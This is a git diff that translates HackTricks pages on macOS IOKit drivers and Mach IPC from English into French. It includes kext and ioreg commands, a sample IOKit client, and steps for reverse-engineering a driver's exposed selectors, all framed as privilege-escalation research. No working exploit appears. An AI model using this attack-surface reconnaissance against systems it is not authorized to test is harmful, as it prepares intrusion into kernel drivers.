b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md @@ -2,18 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informations de base -The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware. +Le I/O Kit est un **framework de pilote de périphérique** open-source et orienté objet dans le noyau XNU, gérant les **pilotes de périphérique chargés dynamiquement**. Il permet d'ajouter du code modulaire au noyau à la volée, prenant en charge un matériel diversifié. -IOKit drivers will basically **export functions from the kernel**. These function parameter **types** are **predefined** and are verified. Moreover, similar to XPC, IOKit is just another layer on **top of Mach messages**. +Les pilotes IOKit vont essentiellement **exporter des fonctions du noyau**. Ces types de **paramètres de fonction** sont **prédéfinis** et sont vérifiés. De plus, similaire à XPC, IOKit est juste une autre couche **au-dessus des messages Mach**. -**IOKit XNU kernel code** is opensourced by Apple in [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Moreover, the user space IOKit components are also opensource [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser). +Le **code IOKit du noyau XNU** est open-source par Apple sur [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). De plus, les composants IOKit de l'espace utilisateur sont également open-source [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser). -However, **no IOKit drivers** are opensource. Anyway, from time to time a release of a driver might come with symbols that makes it easier to debug it. Check how to [**get the driver extensions from the firmware here**](./#ipsw)**.** - -It's written in **C++**. You can get demangled C++ symbols with: +Cependant, **aucun pilote IOKit** n'est open-source. Quoi qu'il en soit, de temps en temps, une version d'un pilote peut venir avec des symboles qui facilitent son débogage. Vérifiez comment [**obtenir les extensions de pilote à partir du firmware ici**](./#ipsw)**.** +Il est écrit en **C++**. Vous pouvez obtenir des symboles C++ démanglés avec : ```bash # Get demangled symbols nm -C com.apple.driver.AppleJPEGDriver @@ -23,210 +22,193 @@ c++filt __ZN16IOUserClient202222dispatchExternalMethodEjP31IOExternalMethodArgumentsOpaquePK28IOExternalMethodDispatch2022mP8OSObjectPv IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) ``` - > [!CAUTION] -> IOKit **exposed functions** could perform **additional security checks** when a client tries to call a function but note that the apps are usually **limited** by the **sandbox** to which IOKit functions they can interact with. +> IOKit **exposed functions** pourraient effectuer des **vérifications de sécurité supplémentaires** lorsqu'un client essaie d'appeler une fonction, mais notez que les applications sont généralement **limitées** par le **sandbox** avec lequel les fonctions IOKit peuvent interagir. ## Drivers -In macOS they are located in: +Dans macOS, ils se trouvent dans : - **`/System/Library/Extensions`** - - KEXT files built into the OS X operating system. +- Fichiers KEXT intégrés au système d'exploitation OS X. - **`/Library/Extensions`** - - KEXT files installed by 3rd party software +- Fichiers KEXT installés par des logiciels tiers -In iOS they are located in: +Dans iOS, ils se trouvent dans : - **`/System/Library/Extensions`** - ```bash #Use kextstat to print the loaded drivers kextstat Executing: /usr/bin/kmutil showloaded No variant specified, falling back to release Index Refs Address Size Wired Name (Version) UUID - 1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5> - 10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1> +1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5> +10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1> ``` +Jusqu'au numéro 9, les pilotes listés sont **chargés à l'adresse 0**. Cela signifie qu'il ne s'agit pas de véritables pilotes mais **d'une partie du noyau et qu'ils ne peuvent pas être déchargés**. -Until the number 9 the listed drivers are **loaded in the address 0**. This means that those aren't real drivers but **part of the kernel and they cannot be unloaded**. - -In order to find specific extensions you can use: - +Pour trouver des extensions spécifiques, vous pouvez utiliser : ```bash kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id kextfind -bundle-id -substring IOR #Search by substring in bundle-id ``` - -To load and unload kernel extensions do: - +Pour charger et décharger des extensions de noyau, faites : ```bash kextload com.apple.iokit.IOReportFamily kextunload com.apple.iokit.IOReportFamily ``` - ## IORegistry -The **IORegistry** is a crucial part of the IOKit framework in macOS and iOS which serves as a database for representing the system's hardware configuration and state. It's a **hierarchical collection of objects that represent all the hardware and drivers** loaded on the system, and their relationships to each other. - -You can get the IORegistry using the cli **`ioreg`** to inspect it from the console (specially useful for iOS). +Le **IORegistry** est une partie cruciale du framework IOKit dans macOS et iOS qui sert de base de données pour représenter la configuration et l'état du matériel du système. C'est une **collection hiérarchique d'objets qui représente tout le matériel et les pilotes** chargés sur le système, et leurs relations entre eux. +Vous pouvez obtenir l'IORegistry en utilisant le cli **`ioreg`** pour l'inspecter depuis la console (particulièrement utile pour iOS). ```bash ioreg -l #List all ioreg -w 0 #Not cut lines ioreg -p #Check other plane ``` - -You could download **`IORegistryExplorer`** from **Xcode Additional Tools** from [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) and inspect the **macOS IORegistry** through a **graphical** interface. +Vous pouvez télécharger **`IORegistryExplorer`** depuis **Xcode Additional Tools** à partir de [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) et inspecter le **macOS IORegistry** via une interface **graphique**.
-In IORegistryExplorer, "planes" are used to organize and display the relationships between different objects in the IORegistry. Each plane represents a specific type of relationship or a particular view of the system's hardware and driver configuration. Here are some of the common planes you might encounter in IORegistryExplorer: +Dans IORegistryExplorer, les "plans" sont utilisés pour organiser et afficher les relations entre différents objets dans l'IORegistry. Chaque plan représente un type spécifique de relation ou une vue particulière de la configuration matérielle et des pilotes du système. Voici quelques-uns des plans courants que vous pourriez rencontrer dans IORegistryExplorer : -1. **IOService Plane**: This is the most general plane, displaying the service objects that represent drivers and nubs (communication channels between drivers). It shows the provider-client relationships between these objects. -2. **IODeviceTree Plane**: This plane represents the physical connections between devices as they are attached to the system. It is often used to visualize the hierarchy of devices connected via buses like USB or PCI. -3. **IOPower Plane**: Displays objects and their relationships in terms of power management. It can show which objects are affecting the power state of others, useful for debugging power-related issues. -4. **IOUSB Plane**: Specifically focused on USB devices and their relationships, showing the hierarchy of USB hubs and connected devices. -5. **IOAudio Plane**: This plane is for representing audio devices and their relationships within the system. +1. **IOService Plane** : C'est le plan le plus général, affichant les objets de service qui représentent les pilotes et les nubs (canaux de communication entre les pilotes). Il montre les relations fournisseur-client entre ces objets. +2. **IODeviceTree Plane** : Ce plan représente les connexions physiques entre les appareils tels qu'ils sont attachés au système. Il est souvent utilisé pour visualiser la hiérarchie des appareils connectés via des bus comme USB ou PCI. +3. **IOPower Plane** : Affiche les objets et leurs relations en termes de gestion de l'alimentation. Il peut montrer quels objets affectent l'état d'alimentation des autres, utile pour le débogage des problèmes liés à l'alimentation. +4. **IOUSB Plane** : Spécifiquement axé sur les appareils USB et leurs relations, montrant la hiérarchie des hubs USB et des appareils connectés. +5. **IOAudio Plane** : Ce plan est destiné à représenter les appareils audio et leurs relations au sein du système. 6. ... -## Driver Comm Code Example +## Exemple de code de communication de pilote -The following code connects to the IOKit service `"YourServiceNameHere"` and calls the function inside the selector 0. For it: - -- it first calls **`IOServiceMatching`** and **`IOServiceGetMatchingServices`** to get the service. -- It then establish a connection calling **`IOServiceOpen`**. -- And it finally calls a function with **`IOConnectCallScalarMethod`** indicating the selector 0 (the selector is the number the function you want to call has assigned). +Le code suivant se connecte au service IOKit `"YourServiceNameHere"` et appelle la fonction à l'intérieur du sélecteur 0. Pour cela : +- il appelle d'abord **`IOServiceMatching`** et **`IOServiceGetMatchingServices`** pour obtenir le service. +- Il établit ensuite une connexion en appelant **`IOServiceOpen`**. +- Et enfin, il appelle une fonction avec **`IOConnectCallScalarMethod`** en indiquant le sélecteur 0 (le sélecteur est le numéro que la fonction que vous souhaitez appeler a attribué). ```objectivec #import #import int main(int argc, const char * argv[]) { - @autoreleasepool { - // Get a reference to the service using its name - CFMutableDictionaryRef matchingDict = IOServiceMatching("YourServiceNameHere"); - if (matchingDict == NULL) { - NSLog(@"Failed to create matching dictionary"); - return -1; - } +@autoreleasepool { +// Get a reference to the service using its name +CFMutableDictionaryRef matchingDict = IOServiceMatching("YourServiceNameHere"); +if (matchingDict == NULL) { +NSLog(@"Failed to create matching dictionary"); +return -1; +} - // Obtain an iterator over all matching services - io_iterator_t iter; - kern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter); - if (kr != KERN_SUCCESS) { - NSLog(@"Failed to get matching services"); - return -1; - } +// Obtain an iterator over all matching services +io_iterator_t iter; +kern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter); +if (kr != KERN_SUCCESS) { +NSLog(@"Failed to get matching services"); +return -1; +} - // Get a reference to the first service (assuming it exists) - io_service_t service = IOIteratorNext(iter); - if (!service) { - NSLog(@"No matching service found"); - IOObjectRelease(iter); - return -1; - } +// Get a reference to the first service (assuming it exists) +io_service_t service = IOIteratorNext(iter); +if (!service) { +NSLog(@"No matching service found"); +IOObjectRelease(iter); +return -1; +} - // Open a connection to the service - io_connect_t connect; - kr = IOServiceOpen(service, mach_task_self(), 0, &connect); - if (kr != KERN_SUCCESS) { - NSLog(@"Failed to open service"); - IOObjectRelease(service); - IOObjectRelease(iter); - return -1; - } +// Open a connection to the service +io_connect_t connect; +kr = IOServiceOpen(service, mach_task_self(), 0, &connect); +if (kr != KERN_SUCCESS) { +NSLog(@"Failed to open service"); +IOObjectRelease(service); +IOObjectRelease(iter); +return -1; +} - // Call a method on the service - // Assume the method has a selector of 0, and takes no arguments - kr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL); - if (kr != KERN_SUCCESS) { - NSLog(@"Failed to call method"); - } +// Call a method on the service +// Assume the method has a selector of 0, and takes no arguments +kr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL); +if (kr != KERN_SUCCESS) { +NSLog(@"Failed to call method"); +} - // Cleanup - IOServiceClose(connect); - IOObjectRelease(service); - IOObjectRelease(iter); - } - return 0; +// Cleanup +IOServiceClose(connect); +IOObjectRelease(service); +IOObjectRelease(iter); +} +return 0; } ``` +Il existe d'autres fonctions qui peuvent être utilisées pour appeler des fonctions IOKit en plus de **`IOConnectCallScalarMethod`** comme **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**... -There are **other** functions that can be used to call IOKit functions apart of **`IOConnectCallScalarMethod`** like **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**... +## Inversion du point d'entrée du pilote -## Reversing driver entrypoint +Vous pourriez les obtenir par exemple à partir d'une [**image de firmware (ipsw)**](./#ipsw). Ensuite, chargez-la dans votre décompilateur préféré. -You could obtain these for example from a [**firmware image (ipsw)**](./#ipsw). Then, load it into your favourite decompiler. - -You could start decompiling the **`externalMethod`** function as this is the driver function that will be receiving the call and calling the correct function: +Vous pourriez commencer à décompiler la fonction **`externalMethod`** car c'est la fonction du pilote qui recevra l'appel et appellera la fonction correcte :
-That awful call demagled means: - +Cet appel horrible démanglé signifie : ```cpp IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) ``` - -Note how in the previous definition the **`self`** param is missed, the good definition would be: - +Notez comment dans la définition précédente le paramètre **`self`** est manquant, la bonne définition serait : ```cpp IOUserClient2022::dispatchExternalMethod(self, unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) ``` - -Actually, you can find the real definition in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388): - +En fait, vous pouvez trouver la véritable définition dans [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388) : ```cpp IOUserClient2022::dispatchExternalMethod(uint32_t selector, IOExternalMethodArgumentsOpaque *arguments, - const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount, - OSObject * target, void * reference) +const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount, +OSObject * target, void * reference) ``` - -With this info you can rewrite Ctrl+Right -> `Edit function signature` and set the known types: +Avec ces informations, vous pouvez réécrire Ctrl+Right -> `Edit function signature` et définir les types connus :
-The new decompiled code will look like: +Le nouveau code décompilé ressemblera à :
-For the next step we need to have defined the **`IOExternalMethodDispatch2022`** struct. It's opensource in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176), you could define it: +Pour l'étape suivante, nous devons avoir défini la structure **`IOExternalMethodDispatch2022`**. Elle est open source dans [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176), vous pourriez la définir :
-Now, following the `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` you can see a lot of data: +Maintenant, en suivant le `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray`, vous pouvez voir beaucoup de données :
-Change the Data Type to **`IOExternalMethodDispatch2022:`** +Changez le type de données en **`IOExternalMethodDispatch2022:`**
-after the change: +Après le changement :
-And as we now in there we have an **array of 7 elements** (check the final decompiled code), click to create an array of 7 elements: +Et comme nous le savons maintenant, nous avons un **tableau de 7 éléments** (vérifiez le code décompilé final), cliquez pour créer un tableau de 7 éléments :
-After the array is created you can see all the exported functions: +Après la création du tableau, vous pouvez voir toutes les fonctions exportées :
> [!TIP] -> If you remember, to **call** an **exported** function from user space we don't need to call the name of the function, but the **selector number**. Here you can see that the selector **0** is the function **`initializeDecoder`**, the selector **1** is **`startDecoder`**, the selector **2** **`initializeEncoder`**... +> Si vous vous souvenez, pour **appeler** une fonction **exportée** depuis l'espace utilisateur, nous n'avons pas besoin d'appeler le nom de la fonction, mais le **numéro de sélecteur**. Ici, vous pouvez voir que le sélecteur **0** est la fonction **`initializeDecoder`**, le sélecteur **1** est **`startDecoder`**, le sélecteur **2** **`initializeEncoder`**... {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md index c62c79223..44555cd71 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md @@ -6,108 +6,103 @@ ### Basic Information -Mach uses **tasks** as the **smallest unit** for sharing resources, and each task can contain **multiple threads**. These **tasks and threads are mapped 1:1 to POSIX processes and threads**. +Mach utilise des **tâches** comme la **plus petite unité** pour partager des ressources, et chaque tâche peut contenir **plusieurs threads**. Ces **tâches et threads sont mappés 1:1 aux processus et threads POSIX**. -Communication between tasks occurs via Mach Inter-Process Communication (IPC), utilising one-way communication channels. **Messages are transferred between ports**, which act like **message queues** managed by the kernel. +La communication entre les tâches se fait via la communication inter-processus Mach (IPC), utilisant des canaux de communication unidirectionnels. **Les messages sont transférés entre les ports**, qui agissent comme des **queues de messages** gérées par le noyau. -Each process has an **IPC table**, in there it's possible to find the **mach ports of the process**. The name of a mach port is actually a number (a pointer to the kernel object). +Chaque processus a une **table IPC**, où il est possible de trouver les **ports mach du processus**. Le nom d'un port mach est en réalité un numéro (un pointeur vers l'objet noyau). -A process can also send a port name with some rights **to a different task** and the kernel will make this entry in the **IPC table of the other task** appear. +Un processus peut également envoyer un nom de port avec certains droits **à une tâche différente** et le noyau fera apparaître cette entrée dans la **table IPC de l'autre tâche**. ### Port Rights -Port rights, which define what operations a task can perform, are key to this communication. The possible **port rights** are ([definitions from here](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): +Les droits de port, qui définissent quelles opérations une tâche peut effectuer, sont essentiels à cette communication. Les **droits de port** possibles sont ([définitions ici](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)) : -- **Receive right**, which allows receiving messages sent to the port. Mach ports are MPSC (multiple-producer, single-consumer) queues, which means that there may only ever be **one receive right for each port** in the whole system (unlike with pipes, where multiple processes can all hold file descriptors to the read end of one pipe). - - A **task with the Receive** right can receive messages and **create Send rights**, allowing it to send messages. Originally only the **own task has Receive right over its por**t. -- **Send right**, which allows sending messages to the port. - - The Send right can be **cloned** so a task owning a Send right can clone the right and **grant it to a third task**. -- **Send-once right**, which allows sending one message to the port and then disappears. -- **Port set right**, which denotes a _port set_ rather than a single port. Dequeuing a message from a port set dequeues a message from one of the ports it contains. Port sets can be used to listen on several ports simultaneously, a lot like `select`/`poll`/`epoll`/`kqueue` in Unix. -- **Dead name**, which is not an actual port right, but merely a placeholder. When a port is destroyed, all existing port rights to the port turn into dead names. +- **Droit de réception**, qui permet de recevoir des messages envoyés au port. Les ports Mach sont des queues MPSC (multiple-producer, single-consumer), ce qui signifie qu'il ne peut y avoir **qu'un seul droit de réception pour chaque port** dans tout le système (contrairement aux pipes, où plusieurs processus peuvent tous détenir des descripteurs de fichiers pour l'extrémité de lecture d'un pipe). +- Une **tâche avec le droit de réception** peut recevoir des messages et **créer des droits d'envoi**, lui permettant d'envoyer des messages. À l'origine, seule la **propre tâche a le droit de réception sur son port**. +- **Droit d'envoi**, qui permet d'envoyer des messages au port. +- Le droit d'envoi peut être **cloné**, de sorte qu'une tâche possédant un droit d'envoi peut cloner le droit et **l'accorder à une troisième tâche**. +- **Droit d'envoi unique**, qui permet d'envoyer un message au port et disparaît ensuite. +- **Droit de port set**, qui désigne un _ensemble de ports_ plutôt qu'un port unique. Déqueuer un message d'un ensemble de ports déqueu un message de l'un des ports qu'il contient. Les ensembles de ports peuvent être utilisés pour écouter plusieurs ports simultanément, un peu comme `select`/`poll`/`epoll`/`kqueue` dans Unix. +- **Nom mort**, qui n'est pas un véritable droit de port, mais simplement un espace réservé. Lorsqu'un port est détruit, tous les droits de port existants sur le port se transforment en noms morts. -**Tasks can transfer SEND rights to others**, enabling them to send messages back. **SEND rights can also be cloned, so a task can duplicate and give the right to a third task**. This, combined with an intermediary process known as the **bootstrap server**, allows for effective communication between tasks. +**Les tâches peuvent transférer des droits d'ENVOI à d'autres**, leur permettant d'envoyer des messages en retour. **Les droits d'ENVOI peuvent également être clonés, de sorte qu'une tâche peut dupliquer et donner le droit à une troisième tâche**. Cela, combiné avec un processus intermédiaire connu sous le nom de **serveur de démarrage**, permet une communication efficace entre les tâches. ### File Ports -File ports allows to encapsulate file descriptors in Mac ports (using Mach port rights). It's possible to create a `fileport` from a given FD using `fileport_makeport` and create a FD froma. fileport using `fileport_makefd`. +Les ports de fichiers permettent d'encapsuler des descripteurs de fichiers dans des ports Mac (en utilisant des droits de port Mach). Il est possible de créer un `fileport` à partir d'un FD donné en utilisant `fileport_makeport` et de créer un FD à partir d'un fileport en utilisant `fileport_makefd`. ### Establishing a communication #### Steps: -As it's mentioned, in order to establish the communication channel, the **bootstrap server** (**launchd** in mac) is involved. +Comme mentionné, pour établir le canal de communication, le **serveur de démarrage** (**launchd** dans mac) est impliqué. -1. Task **A** initiates a **new port**, obtaining a **RECEIVE right** in the process. -2. Task **A**, being the holder of the RECEIVE right, **generates a SEND right for the port**. -3. Task **A** establishes a **connection** with the **bootstrap server**, providing the **port's service name** and the **SEND right** through a procedure known as the bootstrap register. -4. Task **B** interacts with the **bootstrap server** to execute a bootstrap **lookup for the service** name. If successful, the **server duplicates the SEND right** received from Task A and **transmits it to Task B**. -5. Upon acquiring a SEND right, Task **B** is capable of **formulating** a **message** and dispatching it **to Task A**. -6. For a bi-directional communication usually task **B** generates a new port with a **RECEIVE** right and a **SEND** right, and gives the **SEND right to Task A** so it can send messages to TASK B (bi-directional communication). +1. La tâche **A** initie un **nouveau port**, obtenant un **droit de réception** dans le processus. +2. La tâche **A**, étant le titulaire du droit de réception, **génère un droit d'envoi pour le port**. +3. La tâche **A** établit une **connexion** avec le **serveur de démarrage**, fournissant le **nom de service du port** et le **droit d'envoi** via une procédure connue sous le nom d'enregistrement de démarrage. +4. La tâche **B** interagit avec le **serveur de démarrage** pour exécuter une recherche de démarrage **pour le nom de service**. Si cela réussit, le **serveur duplique le droit d'envoi** reçu de la tâche A et **le transmet à la tâche B**. +5. Après avoir acquis un droit d'envoi, la tâche **B** est capable de **formuler** un **message** et de l'envoyer **à la tâche A**. +6. Pour une communication bidirectionnelle, la tâche **B** génère généralement un nouveau port avec un **droit de réception** et un **droit d'envoi**, et donne le **droit d'envoi à la tâche A** afin qu'elle puisse envoyer des messages à la TÂCHE B (communication bidirectionnelle). -The bootstrap server **cannot authenticate** the service name claimed by a task. This means a **task** could potentially **impersonate any system task**, such as falsely **claiming an authorization service name** and then approving every request. +Le serveur de démarrage **ne peut pas authentifier** le nom de service revendiqué par une tâche. Cela signifie qu'une **tâche** pourrait potentiellement **usurper n'importe quelle tâche système**, comme en revendiquant faussement un nom de service d'autorisation et en approuvant ensuite chaque demande. -Then, Apple stores the **names of system-provided services** in secure configuration files, located in **SIP-protected** directories: `/System/Library/LaunchDaemons` and `/System/Library/LaunchAgents`. Alongside each service name, the **associated binary is also stored**. The bootstrap server, will create and hold a **RECEIVE right for each of these service names**. +Ensuite, Apple stocke les **noms des services fournis par le système** dans des fichiers de configuration sécurisés, situés dans des répertoires **protégés par SIP** : `/System/Library/LaunchDaemons` et `/System/Library/LaunchAgents`. Avec chaque nom de service, le **binaire associé est également stocké**. Le serveur de démarrage créera et conservera un **droit de réception pour chacun de ces noms de service**. -For these predefined services, the **lookup process differs slightly**. When a service name is being looked up, launchd starts the service dynamically. The new workflow is as follows: +Pour ces services prédéfinis, le **processus de recherche diffère légèrement**. Lorsqu'un nom de service est recherché, launchd démarre le service dynamiquement. Le nouveau flux de travail est le suivant : -- Task **B** initiates a bootstrap **lookup** for a service name. -- **launchd** checks if the task is running and if it isn’t, **starts** it. -- Task **A** (the service) performs a **bootstrap check-in**. Here, the **bootstrap** server creates a SEND right, retains it, and **transfers the RECEIVE right to Task A**. -- launchd duplicates the **SEND right and sends it to Task B**. -- Task **B** generates a new port with a **RECEIVE** right and a **SEND** right, and gives the **SEND right to Task A** (the svc) so it can send messages to TASK B (bi-directional communication). +- La tâche **B** initie une recherche de démarrage **pour un nom de service**. +- **launchd** vérifie si la tâche est en cours d'exécution et si ce n'est pas le cas, **la démarre**. +- La tâche **A** (le service) effectue un **enregistrement de démarrage**. Ici, le **serveur de démarrage** crée un droit d'envoi, le conserve et **transfère le droit de réception à la tâche A**. +- launchd duplique le **droit d'envoi et l'envoie à la tâche B**. +- La tâche **B** génère un nouveau port avec un **droit de réception** et un **droit d'envoi**, et donne le **droit d'envoi à la tâche A** (le svc) afin qu'elle puisse envoyer des messages à la TÂCHE B (communication bidirectionnelle). -However, this process only applies to predefined system tasks. Non-system tasks still operate as described originally, which could potentially allow for impersonation. +Cependant, ce processus ne s'applique qu'aux tâches système prédéfinies. Les tâches non-système fonctionnent toujours comme décrit à l'origine, ce qui pourrait potentiellement permettre l'usurpation. ### A Mach Message [Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) -The `mach_msg` function, essentially a system call, is utilized for sending and receiving Mach messages. The function requires the message to be sent as the initial argument. This message must commence with a `mach_msg_header_t` structure, succeeded by the actual message content. The structure is defined as follows: - +La fonction `mach_msg`, essentiellement un appel système, est utilisée pour envoyer et recevoir des messages Mach. La fonction nécessite que le message à envoyer soit le premier argument. Ce message doit commencer par une structure `mach_msg_header_t`, suivie du contenu réel du message. La structure est définie comme suit : ```c typedef struct { - mach_msg_bits_t msgh_bits; - mach_msg_size_t msgh_size; - mach_port_t msgh_remote_port; - mach_port_t msgh_local_port; - mach_port_name_t msgh_voucher_port; - mach_msg_id_t msgh_id; +mach_msg_bits_t msgh_bits; +mach_msg_size_t msgh_size; +mach_port_t msgh_remote_port; +mach_port_t msgh_local_port; +mach_port_name_t msgh_voucher_port; +mach_msg_id_t msgh_id; } mach_msg_header_t; ``` +Les processus possédant un _**droit de réception**_ peuvent recevoir des messages sur un port Mach. En revanche, les **expéditeurs** se voient accorder un _**droit d'envoi**_ ou un _**droit d'envoi-unique**_. Le droit d'envoi-unique est exclusivement destiné à l'envoi d'un seul message, après quoi il devient invalide. -Processes possessing a _**receive right**_ can receive messages on a Mach port. Conversely, the **senders** are granted a _**send**_ or a _**send-once right**_. The send-once right is exclusively for sending a single message, after which it becomes invalid. - -In order to achieve an easy **bi-directional communication** a process can specify a **mach port** in the mach **message header** called the _reply port_ (**`msgh_local_port`**) where the **receiver** of the message can **send a reply** to this message. The bitflags in **`msgh_bits`** can be used to **indicate** that a **send-once** **right** should be derived and transferred for this port (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). +Pour réaliser une **communication bidirectionnelle** facile, un processus peut spécifier un **port mach** dans l'en-tête de message mach appelé le _port de réponse_ (**`msgh_local_port`**) où le **destinataire** du message peut **envoyer une réponse** à ce message. Les bits dans **`msgh_bits`** peuvent être utilisés pour **indiquer** qu'un **droit d'envoi-unique** doit être dérivé et transféré pour ce port (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). > [!TIP] -> Note that this kind of bi-directional communication is used in XPC messages that expect a replay (`xpc_connection_send_message_with_reply` and `xpc_connection_send_message_with_reply_sync`). But **usually different ports are created** as explained previously to create the bi-directional communication. +> Notez que ce type de communication bidirectionnelle est utilisé dans les messages XPC qui attendent une réponse (`xpc_connection_send_message_with_reply` et `xpc_connection_send_message_with_reply_sync`). Mais **généralement, différents ports sont créés** comme expliqué précédemment pour créer la communication bidirectionnelle. -The other fields of the message header are: +Les autres champs de l'en-tête de message sont : -- `msgh_size`: the size of the entire packet. -- `msgh_remote_port`: the port on which this message is sent. -- `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach_vouchers.html). -- `msgh_id`: the ID of this message, which is interpreted by the receiver. +- `msgh_size` : la taille de l'ensemble du paquet. +- `msgh_remote_port` : le port sur lequel ce message est envoyé. +- `msgh_voucher_port` : [bons mach](https://robert.sesek.com/2023/6/mach_vouchers.html). +- `msgh_id` : l'ID de ce message, qui est interprété par le destinataire. > [!CAUTION] -> Note that **mach messages are sent over a \_mach port**\_, which is a **single receiver**, **multiple sender** communication channel built into the mach kernel. **Multiple processes** can **send messages** to a mach port, but at any point only **a single process can read** from it. - -### Enumerate ports +> Notez que **les messages mach sont envoyés sur un \_port mach**\_, qui est un canal de communication **un seul récepteur**, **plusieurs expéditeurs** intégré dans le noyau mach. **Plusieurs processus** peuvent **envoyer des messages** à 